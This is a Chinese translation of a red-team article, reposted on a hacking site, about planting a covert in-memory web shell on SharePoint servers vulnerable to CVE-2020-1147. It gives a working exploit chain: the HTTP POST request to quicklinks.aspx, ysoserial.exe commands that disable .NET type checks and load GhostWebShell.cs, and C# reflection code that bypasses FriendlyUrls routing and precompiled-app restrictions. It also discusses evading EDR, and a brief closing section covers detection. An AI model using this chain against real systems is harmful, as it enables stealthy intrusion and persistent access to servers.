记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

[翻译].NET在只读WEB目录中创建内存shell

2020-10-17 22:32

原文作者:Soroush Dalili

原文链接:https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/

译者:Y4er 水平有限,如有错误请及时反馈

先上视频

在最近的一次红队行动中,我们发现了一个SharePoint实例,该实例容易受到CVE-2020-1147的攻击。而为了避免可能在主机上的EDR杀软,我想在不运行任何命令的情况下创建Web Shell。由于目标SharePoint服务器以最小的权限在IUSR用户下运行,因此我们不能简单地利用反序列化问题(CVE-2020-1147)在Web目录中生成Web Shell。我记得运行powershell很容易触发报警,所以需要一种隐蔽的方法!

这篇文章讲述了在.net环境中,当我们存在代码执行漏洞但Web目录不可写时如何创建Web Shell。

从理论上讲,我们应该能够执行此操作,因为我们的代码正在Web应用程序中执行,因此我想出了以下两种解决方案:

1.使用C#创建功能全面的Web Shell

尽管我很喜欢使用Web Shell,但是大多数功能强大的.NET都是HTML和C#代码的混合体,就像意大利面条一样。因此,清理它们以将其作为纯C#代码运行非常困难且耗时。我对此的解决方案是使用aspnet_compiler命令以便从其临时编译文件中获取ASPX Web Shell的纯C#代码。

另一个问题是,当我们想与嵌入式Web Shell进行交互时,当易受攻击的页面和Web Shell期望完全不同的HTTP请求时,这可能会导致冲突或根本不适用。因此,URL和正文中所有与Web Shell相关的参数以及HTTP动词,内容类型,Cookie和其他自定义标头都应以某种方式封装,以便在利用代码执行之后在服务器端重新创建。尽管自定义JavaScript代码可能能够处理某些封装任务,但是捕获HTTP请求的所有必需方面可能并不容易。因此,使用代理处理请求似乎是一种更好,更轻松的方法。例如,可以通过为Burp Suite编写扩展来实现,该扩展可以捕获对Web Shell的所有请求,这些请求最初是通过利用代码执行来加载的。此扩展可以将Web Shell参数封装在HTTP请求的标头中,发送该HTTP请求以利用代码执行问题。使用标头可能会受到限制,尤其是当Web Shell请求包含较大的参数(例如正在上传文件时)时。但是,使用代理替换字符串可以保证可以在服务器端重新创建带有适当参数(例如HTTP正文,内容类型,HTTP动词和URL参数)的预期HTTP请求,以使Web Shell正常工作。应该注意的是,使HTTP请求中的只读参数(例如表单参数)可使用反射写入是相当容易的。注意的另一件事是清除运行Web Shell代码之前可能已创建的所有HTTP响应。在执行Web Shell之后,还需要结束响应,以防止任何意外数据污染Web Shell的预期响应。

尽管此技术看起来可行,但由于它的复杂性以及每次操作需要发送到服务器的Web请求的大小以减少潜在检测的风险,我还是放弃了了这种方案。

2:通过滥用.NET中的虚拟路径提供程序来创建虚拟文件。

使用.NET可以定义虚拟路径,以便为文件系统以外的其他存储源提供虚拟文件。此功能非常强大,因为它甚至可以用于替换尚未缓存或编译的现有文件。这意味着可以通过替换现有的.NET文件(例如.aspx,.svc,.ashx,.asmx等)来显示攻击者的预期内容,即使对于网络钓鱼或其他系统攻击也可以派上用场。SharePoint本身使用类似的方法 https://www.mdsec.co.uk/2020/03/a-security-review-of-sharepoint-site-pages/ 来创建重影和未托管的页面!

该解决方案对测试人员而言具有最小的复杂性,因为可以将Web Shell直接嵌入初始漏洞利用代码中。在YSoSerial.Net项目的GhostWebShell.cs 文件已经创建Web shell中的代码。

为了使用此代码,可以对Web Shell文件的内容进行base-64编码并将其存储在webshellContentsBase64参数中。该webshellType参数包含Web Shell扩展,该targetVirtualPath参数包含将在服务器上创建的虚拟路径。除了这些参数外,其他参数可以保留不变,如果需要更多的自定义,希望代码中的注释足够。

以下命令显示了如何使用它来LosFormatter使用YSoSerial.Net生成有效负载的示例:

.\ysoserial.exe -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "C:\CoolTools\ysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"

应该注意的是,ActivitySurrogateDisableTypeCheck链应该在ActivitySurrogateSelectorFromFile之前使用,以便适用于新版本的.NET Framework。

以下步骤显示如何使用此技术在易受CVE-2020-1147侵害的SharePoint服务器上创建虚拟Web Shell:

步骤1)准备基本有效负载,其中包含DataSet利用远程代码执行漏洞所需的有效负载:

POST /_layouts/15/quicklinks.aspx?Mode=Suggestion HTTP/1.1
uthorization: [ntlm auth header]
Content-Type: application/x-www-form-urlencoded
Host: [target]
Content-Length: [length of body]
__VIEWSTATE=&__SUGGESTIONSCACHE__=[DataSet payload from YSoSerial.Net]

步骤2)生成并发送DataSet有效负载以禁用以下功能的.NET Framework v4.8 +类型保护ActivitySurrogateSelector

.\ysoserial.exe -p SharePoint --cve CVE-2020-1147 -g ActivitySurrogateDisableTypeCheck -c "ignored"

步骤3)生成并发送有效负载以运行Web Shell:

.\ysoserial.exe -p SharePoint --cve CVE-2020-1147 -g ActivitySurrogateSelectorFromFile -c "C:\GitHubRepos\myysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"

GhostWebShell.cs文件可以更改为更加个性化服务多个文件以及隐藏自身,直到它看到一个特殊的头或文件名。IsPathVirtual当尚未编译时,更改功能也可以方便地替换现有目录中的特定文件。目前,它会响应所有传入的请求,但是您可能希望将其限制为某些名称,或者检查文件扩展名以提供不同的内容。

 绕过Microsoft.AspNet.FriendlyUrls

从.NET 4.5开始,Web应用程序可以使用FriendlyUrls在指向ASPX页面时不使用URL中的“ .aspx”。这可以停止我们创建内存shell的方法。发现以下解决方案可以覆盖使用此功能的Web应用程序的此设置。

foreach(var route in System.Web.Routing.RouteTable.Routes)
{
    if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute") {
        var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
        var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
        settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
        FriendlySetting.SetValue(route, settings);
        }
}

该代码已包含在GhostWebShell.cs文件中,需要时,该注释无需取消注释(Microsoft.AspNet.FriendlyUrls.dll创建有效负载也需要该文件)。

绕过预编译的限制

当应用程序处于预编译模式时,.NET中的虚拟路径提供程序无法注册。但是,由于我们已经可以在应用程序上执行代码,因此可以使用反射来更改System.Web.Compilation.BuildManager.IsPrecompiledApp属性。该代码已包含在YSoSerial.Net项目的GhostWebShell.cs文件中。

结果,即使应用程序处于预编译模式,也可以创建虚拟Web Shell。

利用其他Web处理程序

当利用代码执行问题时,虚拟文件方法将起作用,该代码执行问题使用另一个Web处理程序,例如用于Web服务的处理程序。尽管他们的响应可能不会显示虚拟Web Shell的执行,但是仍然可以通过直接在浏览器中浏览到虚拟Web Shell来访问它。

虚拟文件防御检测机制

尽管虚拟文件仅存在于内存中,但是它们的编译版本保存在临时位置中,该临时位置用于.NET页的编译。默认目录通常采用以下格式:

C:\Windows\Microsoft.NET\Framework64|Framework\v[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]\

因此,有可能通过监视新创建的临时文件来检测恶意编译文件。应该注意的是,有可能接管应用程序默认目录中未编译的.NET文件。因此,除非应用程序处于预编译模式,否则监视新创建的文件名不能用作防弹检测机制(因此,不应创建新的已编译文件)。

如果绝对不要在文件系统上创建任何文件至关重要,则可以考虑将本文中讨论的第一个解决方案(在C#中创建可正常运行的Web Shell)作为替代方案。但是,此解决方案具有通过监视未加密的流量以获取特定签名或检测到从特定来源向特定目标发出的异常大的Web请求的检测风险。

 

分享、点赞、看就是对我们的一种支持!



知识来源: https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&mid=2247484876&idx=1&sn=a7d425ad167846c2af5dded8193a1269

阅读:8072 | 评论:0 | 标签:shell 内存

想收藏或者和大家分享这篇好文章→复制链接地址

“[翻译].NET在只读WEB目录中创建内存shell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词